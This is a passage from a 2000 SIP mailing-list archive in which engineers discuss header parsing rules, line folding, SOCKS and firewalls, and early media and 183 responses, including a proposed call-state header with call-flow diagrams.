> so those restrictions can't be any problem to introduce. Why send extra
> spaces that only adds unnecessary bytes to the messages ?
>
> To disallow the compact form of the headers might be a problem but
> since using the compact form only saves about 70-80 bytes a UA still
> have to be able to handle the case where the message don't fit in
> one MTU. If this is a real problem why not define a compact form
> for _all_ headers in SIP and only use that form ?
>
> To capitalize the header field names exactly as they are specified
> in the RFC does not seem to be a problem either. Why should it be
> possible to write e.g. Content-Length as cOnTeNt-lEnGtH ?
>
> Line folding is also something we can't see any reason for. Since
> all UA/Servers have to be able to _receive_ any length of a header
> line why can't they _send_ every header in one line ?
>
> To allow a comma separated list in the Via and Record-Route etc.
> is one of the optional things that seems unnecessary. Especially
> since it creates longer lines which means you might need line folding.
> Since all UA that intend to handle Authentication have to use the
> canonical representation anyway why not always use it ?
>
> We realize that it's a little bit late in the SIP development to
> make changes in the protocol but we feel that these changes are
> not very big since it's already specified in the RFC.
>
> If everyone is happy with todays specification we can live with
> it too since we have already implemented it. But we feel that it
> would help SIP to spread faster in the future by making it as
> simple as possible to parse.
>
> So what do you think. Is this proposal something you think
> is worth introducing or is it better to keep things as it is ?
>
> --
> Bertil Engelholm        Bertil.Engelholm@uab.ericsson.se
> Eric Turesson           Eric.Turesson@uab.ericsson.se
>

--
Marc Petit-Huguenin
Home: mailto:petithug@cyberservices.com
Work: mailto:petithug@8x8.com
"So much to do and so little time" The Joker - Batman (The Movie)

_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

-- 


Jimmy zhang (jz@ipunity.com)

Software Engineer
  --------------03847E5D868F03D1EDE24A2A-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 21:36:41 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA13441 for ; Fri, 18 Aug 2000 21:36:41 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5E5A644343; Fri, 18 Aug 2000 21:36:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by lists.bell-labs.com (Postfix) with ESMTP id D0DD544338 for ; Fri, 18 Aug 2000 21:36:21 -0400 (EDT) Received: from fokus.gmd.de (dhcp007 [195.37.78.135]) by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id DAA29697; Sat, 19 Aug 2000 03:36:17 +0200 (MET DST) Message-ID: <399DE2CD.ED575C02@fokus.gmd.de> Date: Sat, 19 Aug 2000 03:28:45 +0200 From: Jiri Kuthan X-Mailer: Mozilla 4.72 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: sip@lists.bell-labs.com Subject: Re: [SIP] a query on SOCKS References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit rahul pande wrote: > > hello Sir, > I was searching for a solution to the rtp problem, to allow > audio/vedio udp packets to pass through the firewall, and then in many > reviews i read about SOCKS v5, i suppose it does something like the > FCP(firewall control protocol) which is in the draft stages. Can anyone > please inform me where i can get an open source for this protocol. > Thanking you, > rahul There is a SOCKS website at http://www.socks.nec.com/. It also includes reference software. However, I doubt it will help you very much -- SOCKSv5 does not allow SOCKS client to bind to and learn a public address/port. I.e., it will not be able to form a SIP invitation. Jiri _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 19 01:52:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20922 for ; Sat, 19 Aug 2000 01:52:24 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5104C44360; Sat, 19 Aug 2000 01:51:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 89D4244338 for ; Sat, 19 Aug 2000 01:51:50 -0400 (EDT) Received: from dynamicsoft.com (1Cust182.tnt1.freehold.nj.da.uu.net [63.17.113.182]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA14196; Sat, 19 Aug 2000 01:53:29 -0400 (EDT) Message-ID: <399E21E6.806CFF8@dynamicsoft.com> Date: Sat, 19 Aug 2000 01:57:58 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Arnoud van Wijk (ETM)" Cc: "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <56E7307B0850D411B1480008C75DD5EAB73C5D@enlrynt303.dsn.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit "Arnoud van Wijk (ETM)" wrote: > > Jonathan.. > thou art the master! :-) Well, thanks, but I didn't propose this header, Marc did. In any case, seems like the consensus here is to punt this, and stick with what we have re 183 and SDP in provisionals. -Jonathan R. > -----Original Message----- > From: Marc Petit-Huguenin [mailto:petithug@NetergyNet.COM] > Sent: Thursday, August 17, 2000 4:31 PM > To: Jonathan Rosenberg > Cc: sip@lists.bell-labs.com > Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 > ? > > With the header X-Media (to be renamed) : > X-Media = "X-Media" ":" media-type > media-type = "Alert" | "Progress" | "Connect" > -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 19 09:16:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA00908 for ; Sat, 19 Aug 2000 09:16:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id AEB7C44339; Sat, 19 Aug 2000 09:16:10 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.Sophia.8x8.COM (unknown [195.154.106.54]) by lists.bell-labs.com (Postfix) with ESMTP id F33F144338 for ; Sat, 19 Aug 2000 08:49:29 -0400 (EDT) Received: from toshjhr.sophia.8x8.com (dhcp_48_197.sophia.8x8.com [192.168.48.197]) by mail.Sophia.8x8.COM (8.9.1b+Sun/8.9.1) with ESMTP id OAA15900; Sat, 19 Aug 2000 14:49:24 +0200 (MET DST) Message-Id: <4.3.0.20000819130810.027cfb60@mail.sophia.8x8.com> X-Sender: jhr@mail.sophia.8x8.com X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Sat, 19 Aug 2000 13:35:35 +0200 To: Jonathan Rosenberg , "Arnoud van Wijk (ETM)" From: Jean-Hugues ROBERT Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Cc: "'SIP'" In-Reply-To: <399E21E6.806CFF8@dynamicsoft.com> References: <56E7307B0850D411B1480008C75DD5EAB73C5D@enlrynt303.dsn.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, Well... Installed base syndrom bites again... With consensual 183, an ad-hoc solution is to switch the Early Media, this is better than switching all the media for the call and worse than switching no media at all. I.E: To change the destination of the early media of an ougoing call before the call is connected, the caller has to instruct the receiver of the media to retransmit it to the new destination. When the call is connected, caller will send a re-INVITE to have the media directed to the rigth destination directly by the callee. What should be the name for such a switching function ? "RTP Proxy", "RTP Switcher", "ISWF, Integrated Switching Fabric" ? Nota: This is an ad-hoc solution for an hypotetical cheap decomposed wireless IP phone. Nota: This does not solve the "hold" case. I.E. there is no way to stop the early media from flowing. Conclusion: 183 results in "During call setup, Callee is stronger than Caller because only Callee can change SDP for Early Media, workaround is to switch the Early Media". Is there a place (some draft) to store this solution for a PSTN interoperability related issue ? Yours, Jean-Hugues Robert At 01:57 AM 8/19/00 -0400, Jonathan Rosenberg wrote: >"Arnoud van Wijk (ETM)" wrote: > > > > Jonathan.. > > thou art the master! :-) > >Well, thanks, but I didn't propose this header, Marc did. > >In any case, seems like the consensus here is to punt this, and stick >with what we have re 183 and SDP in provisionals. > >-Jonathan R. > > > -----Original Message----- > > From: Marc Petit-Huguenin [mailto:petithug@NetergyNet.COM] > > Sent: Thursday, August 17, 2000 4:31 PM > > To: Jonathan Rosenberg > > Cc: sip@lists.bell-labs.com > > Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 > > ? > > > > > With the header X-Media (to be renamed) : > > X-Media = "X-Media" ":" media-type > > media-type = "Alert" | "Progress" | "Connect" > > > > >-- >Jonathan D. Rosenberg 72 Eagle Rock Ave. >Chief Scientist First Floor >dynamicsoft East Hanover, NJ 07936 >jdrosen@dynamicsoft.com FAX: (973) 952-5050 >http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 >http://www.dynamicsoft.com > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip --------------------------------------------------------------------------- "Fix Bugs First" Sophia General Manager. mailto:jhr@netergynet.com - We serve providers - "Think globally. http://www.netergynet.com - Hosted PBX solutions - Act locally." _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 19 12:02:23 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA01789 for ; Sat, 19 Aug 2000 12:02:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1603A44338; Sat, 19 Aug 2000 12:02:10 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id EAFAF44336 for ; Sat, 19 Aug 2000 12:02:06 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id JAA14441; Sat, 19 Aug 2000 09:02:21 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA22755; Sat, 19 Aug 2000 09:02:03 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14750.44923.297749.872025@thomasm-u1.cisco.com> Date: Sat, 19 Aug 2000 09:02:03 -0700 (PDT) To: Jean-Hugues ROBERT Cc: Jonathan Rosenberg , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? In-Reply-To: <4.3.0.20000819130810.027cfb60@mail.sophia.8x8.com> References: <56E7307B0850D411B1480008C75DD5EAB73C5D@enlrynt303.dsn.ericsson.se> <4.3.0.20000819130810.027cfb60@mail.sophia.8x8.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jean-Hugues ROBERT writes: > With consensual 183, an ad-hoc solution is to switch the Early Media, this > is better than switching all the media for the call and worse than > switching no media at all. > > I.E: To change the destination of the early media of an ougoing call before > the call is connected, the caller has to instruct the receiver of the media > to retransmit it to the new destination. When the call is connected, caller > will send a re-INVITE to have the media directed to the rigth destination > directly by the callee. > > What should be the name for such a switching function ? "RTP Proxy", "RTP > Switcher", "ISWF, Integrated Switching Fabric" ? > > Nota: This is an ad-hoc solution for an hypotetical cheap decomposed > wireless IP phone. If you want decomposed, use MGCP/MEGACO. I've been hearing some rumblings in wireless about hacking on SIP to make way for a "dumbed down" phone. As, in trying to offload some of the call processing and who knows what else off the "dumb" phone. Maybe somebody else has a clear definition of what that might be, but I'm extremely suspicious that: 1) A "dumbed down" phone will not in fact be any dumber given the things it must do which have nothing to do with SIP, per se. 2) That Moore's Law hasn't already made need for gobs of extra complexity moot. Ram and flash are about $2/MB retail. There are some clear disadvantages of trying to use some UA-like proxy though: namely garden walls, end to end transparency, and far worse, privacy/security. In order to justify this sort of architecture, the cost savings would need to be at least an order of magnitude down on a cost item that actually impacts the COG's significantly. This ain't one of them, IMO. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 19 13:14:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA02148 for ; Sat, 19 Aug 2000 13:14:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3E2E644338; Sat, 19 Aug 2000 13:14:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id DAC4144336 for ; Sat, 19 Aug 2000 13:14:24 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id KAA26046; Sat, 19 Aug 2000 10:14:39 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA22764; Sat, 19 Aug 2000 10:14:20 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14750.49260.772108.995488@thomasm-u1.cisco.com> Date: Sat, 19 Aug 2000 10:14:20 -0700 (PDT) To: Jean-Hugues ROBERT Cc: Michael Thomas , Jonathan Rosenberg , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? In-Reply-To: <4.3.0.20000819181959.027f4100@mail.sophia.8x8.com> References: <4.3.0.20000819130810.027cfb60@mail.sophia.8x8.com> <56E7307B0850D411B1480008C75DD5EAB73C5D@enlrynt303.dsn.ericsson.se> <4.3.0.20000819181959.027f4100@mail.sophia.8x8.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jean-Hugues ROBERT writes: > At 09:02 AM 8/19/00 -0700, Michael Thomas wrote: > > If you want decomposed, use MGCP/MEGACO. > > When wireless IP phone IP address is changed, early > media need to be delivered to the new IP address, not the old one. That is > were a RTP Switcher is needed. This is if you make the assumption that you can't use IP mobility instead which solves the general problem. I've seen some pretty promising work on that front which looks like it converges very, very fast. Application layer routing should be the last option, not the first in my opinion. > > There are some clear disadvantages of trying to > > use some UA-like proxy though: namely garden > > walls, end to end transparency, and far worse, > > privacy/security. In order to justify this sort > > of architecture, the cost savings would need to > > be at least an order of magnitude down on a > > cost item that actually impacts the COG's > > significantly. This ain't one of them, IMO. > > Good points. Fact is, there is no such thing as a cheap IP phone, wireless > or not... yet. > What is "COG" ? Sorry, cost of goods. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 19 20:32:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA04035 for ; Sat, 19 Aug 2000 20:32:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EA95244338; Sat, 19 Aug 2000 20:32:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.Sophia.8x8.COM (unknown [195.154.106.54]) by lists.bell-labs.com (Postfix) with ESMTP id 3E75244336 for ; Sat, 19 Aug 2000 12:53:47 -0400 (EDT) Received: from toshjhr.sophia.8x8.com (dhcp_48_197.sophia.8x8.com [192.168.48.197]) by mail.Sophia.8x8.COM (8.9.1b+Sun/8.9.1) with ESMTP id SAA20660; Sat, 19 Aug 2000 18:53:38 +0200 (MET DST) Message-Id: <4.3.0.20000819181959.027f4100@mail.sophia.8x8.com> X-Sender: jhr@mail.sophia.8x8.com X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Sat, 19 Aug 2000 18:29:32 +0200 To: Michael Thomas From: Jean-Hugues ROBERT Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Cc: Jonathan Rosenberg , "Arnoud van Wijk (ETM)" , "'SIP'" In-Reply-To: <14750.44923.297749.872025@thomasm-u1.cisco.com> References: <4.3.0.20000819130810.027cfb60@mail.sophia.8x8.com> <56E7307B0850D411B1480008C75DD5EAB73C5D@enlrynt303.dsn.ericsson.se> <4.3.0.20000819130810.027cfb60@mail.sophia.8x8.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, "Switching early media solves the cheap decomposed wireless IP phone case" At 09:02 AM 8/19/00 -0700, Michael Thomas wrote: > If you want decomposed, use MGCP/MEGACO. Sure. In the cheap wireless IP phone case, MGCP could be used to have the "full featured java based SIP UA with a fancy user application" tell the dump writeless phone were to send media. However this does not solve the early media issue. When wireless IP phone IP address is changed, early media need to be delivered to the new IP address, not the old one. That is were a RTP Switcher is needed. > There are some clear disadvantages of trying to > use some UA-like proxy though: namely garden > walls, end to end transparency, and far worse, > privacy/security. In order to justify this sort > of architecture, the cost savings would need to > be at least an order of magnitude down on a > cost item that actually impacts the COG's > significantly. This ain't one of them, IMO. Good points. Fact is, there is no such thing as a cheap IP phone, wireless or not... yet. What is "COG" ? Yours, Jean-Hugues Robert --------------------------------------------------------------------------- "Fix Bugs First" Sophia General Manager. mailto:jhr@netergynet.com - We serve providers - "Think globally. http://www.netergynet.com - Hosted PBX solutions - Act locally." _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 19 20:33:52 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA04046 for ; Sat, 19 Aug 2000 20:33:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A15F144346; Sat, 19 Aug 2000 20:32:36 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail-gw.NetergyNet.COM (mail-gw.8x8.com [192.84.19.131]) by lists.bell-labs.com (Postfix) with ESMTP id 8ABDA44336 for ; Sat, 19 Aug 2000 18:26:55 -0400 (EDT) Received: from mail.8x8.COM (mail.8x8.com [192.84.19.130]) by mail-gw.NetergyNet.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA08846; Sat, 19 Aug 2000 15:26:38 -0700 (PDT) Received: from 8x8.com ([207.82.37.67]) by mail.8x8.COM (8.9.1b+Sun/8.9.1) with ESMTP id PAA23320; Sat, 19 Aug 2000 15:26:37 -0700 (PDT) Message-ID: <399F08CC.9A81D709@8x8.com> Date: Sat, 19 Aug 2000 15:23:08 -0700 From: Marc Petit-Huguenin Organization: Netergy Networks Inc. X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i686) X-Accept-Language: fr-FR, fr, en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <56E7307B0850D411B1480008C75DD5EAB73C5D@enlrynt303.dsn.ericsson.se> <399E21E6.806CFF8@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit OK, let me try again, I understand that all the design and implementations made for the 18x cannot simply be thrown. But I think that the idea of having the alerting after the establishement of the session is interesting, and even can be extended. My previous mail described the X-Media header just as an information header, just to know when starting the billing. We can replace it by another header: Call-State = "X-Call-State" ":" call-state call-state = "Idle" | "Offered" | "Queued" | "Alerting" | "Talking" | "Held" | "Failed" | "Disconnected" In this scenario, this header is mandatory (with a Require header) and all the provisonnal responses except the 100 are forbidden. Now each SIP Agent is a state machine and each request or response contains the state of the machine that send the message. We can imagine a SIP gateway in the "grey" zone between Internet and the PSTN who can work like this: Internet Gateway PSTN | INVITE Idle | | |------------------->| INVITE | | 100 Idle |------------------>| |<-------------------| 100 | | 200 Offered |<------------------| |<-------------------| | | ACK Talking | | |------------------->| | | | | | | 18x | | INVITE Alerting |<------------------| |<-------------------| | | OK Talking | | |------------------->| PRACK | | ACK Alerting |------------------>| |<-------------------| 200 PRACK | | |<------------------| | | | | | | | | 200 | | INVITE Talking |<------------------| |<-------------------| | | OK Talking | | |------------------->| ACK | | ACK Talking |------------------>| |<-------------------| | | | | Now we can put an alerting session on hold. The RTP packets from the PSTN side are discarded by the RTP translator in the Gateway, just like in (1) Internet Gateway PSTN | INVITE Idle | | |------------------->| INVITE | | 100 Idle |------------------>| |<-------------------| 100 | | 200 Offered |<------------------| |<-------------------| | | ACK Talking | | |------------------->| | | | | | | 18x | | INVITE Alerting |<------------------| |<-------------------| | | OK Talking | | |------------------->| PRACK | | ACK Alerting |------------------>| |<-------------------| 200 PRACK | | |<------------------| | | | | | | | INVITE Held | | |------------------->| | | OK Talking | | |<------------------>| | | ACK Talking | | |------------------->| | | | | The discussion in the SIP mailing-list is now about the media in the pre-connect stages (alerting, progress...), but in the future the media stream can also be of some interest when the connection failed (i.e. instead of a 486 Busy or a 603 Decline, I want to play a prerecorded message - for a specific person for example). This is not relevant for PSTN sessions but the message can be generated by the gateway: Internet Gateway PSTN | INVITE Idle | | |------------------->| INVITE | | 100 Idle |------------------>| |<-------------------| 100 | | 200 Offered |<------------------| |<-------------------| | | ACK Talking | | |------------------->| | | | | | | 603 | | INVITE Failed |<------------------| |<-------------------| | | OK Talking | | |------------------->| ACK | | ACK Failed |------------------>| |<-------------------| | | | | | BYE Disconnected | | |------------------->| | | OK Disconnected | | |<-------------------| | | | | With this design, we have three layers - The first layer for searching the destination and establishing a link (Activated between the first INVITE and the BYE). The Session-Expires mechanism can be part of this layer. - The second layer for the call control (state machines) - The third layer for the media (SDP exchange) In fact, "this proposition versus the early media" sounds like "JTAPI versus JAIN". Bye, Jonathan Rosenberg wrote: > > "Arnoud van Wijk (ETM)" wrote: > > > > Jonathan.. > > thou art the master! :-) > > Well, thanks, but I didn't propose this header, Marc did. > > In any case, seems like the consensus here is to punt this, and stick > with what we have re 183 and SDP in provisionals. > > -Jonathan R. > > > -----Original Message----- > > From: Marc Petit-Huguenin [mailto:petithug@NetergyNet.COM] > > Sent: Thursday, August 17, 2000 4:31 PM > > To: Jonathan Rosenberg > > Cc: sip@lists.bell-labs.com > > Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 > > ? > > > > > With the header X-Media (to be renamed) : > > X-Media = "X-Media" ":" media-type > > media-type = "Alert" | "Progress" | "Connect" > > > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Marc Petit-Huguenin Home: mailto:petithug@cyberservices.com Work: mailto:petithug@8x8.com "So much to do and so little time" The Joker - Batman (The Movie) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 19 22:10:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA05302 for ; Sat, 19 Aug 2000 22:10:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5777F44348; Sat, 19 Aug 2000 22:09:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from obsoft.com (www.obsoft.com [209.128.67.121]) by lists.bell-labs.com (Postfix) with ESMTP id 9EB3A44336 for ; Sat, 19 Aug 2000 22:09:51 -0400 (EDT) Received: from obsoft.com (IDENT:sardana@localhost.localdomain [127.0.0.1]) by obsoft.com (8.9.3/8.9.3) with ESMTP id TAA04956; Sat, 19 Aug 2000 19:12:54 -0700 Message-ID: <399F3EA6.FEF91570@obsoft.com> Date: Sat, 19 Aug 2000 19:12:54 -0700 From: Bobby Sardana Organization: ObjectSoftware, Inc X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.12-20 i686) X-Accept-Language: en MIME-Version: 1.0 To: jimmy Zhang Cc: sip Subject: Re: [SIP] white space and SIP References: <399D4CAC.6A3BAAD@dynamicsoft.com> <399DCA41.7E9FCF29@ipunity.com> Content-Type: multipart/alternative; boundary="------------751C585FD5BD9F9F42B828F5" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --------------751C585FD5BD9F9F42B828F5 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Greetings: jimmy Zhang wrote: > I deeply feel that the syntax description is archaic, we should > probably write them in perl's regex format, which should help > parsing tremendously. Can you provide an example and the benefits gained by perl's regular expression format? Also, how will the folks who have parsers in 'C' and Java be able to benefit from this format? Regards, Bobby Sardana. sardana@obsoft.com > > > > Jonathan Rosenberg wrote: > >> Gethin Liddell wrote: >> > >> > For SIP to be efficient and quick, as i'm sure you'll agree it >> must be, >> > it MUST be possible to parse in a message with out having to parse >> each >> > individual header. >> >> Absolutely. This is what I was trying (and not at all succeeding in >> saying) when I said: >> > so that you can detect headers without parsing the headers >> > > themselves. >> >> > >> > Ignoring the \CR and \LF, it is possible to get the structure of >> the >> > messages and the headers split up by looking for the combination >> of >> > CR, LF and white space indentation. great, this can be done >> quickly by >> > simple byte-by-byte comparison. >> > >> > This all goes out the window however when we allow, or expect, >> that in >> > `special cases' a `\' at the end of the line actually marks >> another >> > form of continuation. >> > >> > for example, parsing the fast, efficient, lazy way, the header: >> > >> > Waring: 307 foo "some info \ >> > some more info" >> > >> > Will be parsed as 2 headers, with the second header being very >> wrong >> > and breaking everything. >> > >> > If we want this to be parsed properly, then from the very begining >> we >> > have to parse the header and understand it. >> > >> > So what if we don't understand it? >> >> I agree. In my coffee-starved state of mind I apparently believed >> the >> escaping would help, but it doesn't. So, I think we need to specify >> that >> if a CR, LF, or CRLF appears in a quoted string, these MUST be >> properly >> line folded. >> >> -Jonathan R. >> -- >> Jonathan D. Rosenberg 72 Eagle Rock Ave. >> Chief Scientist First Floor >> dynamicsoft East Hanover, NJ 07936 >> jdrosen@dynamicsoft.com FAX: (973) 952-5050 >> http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 >> 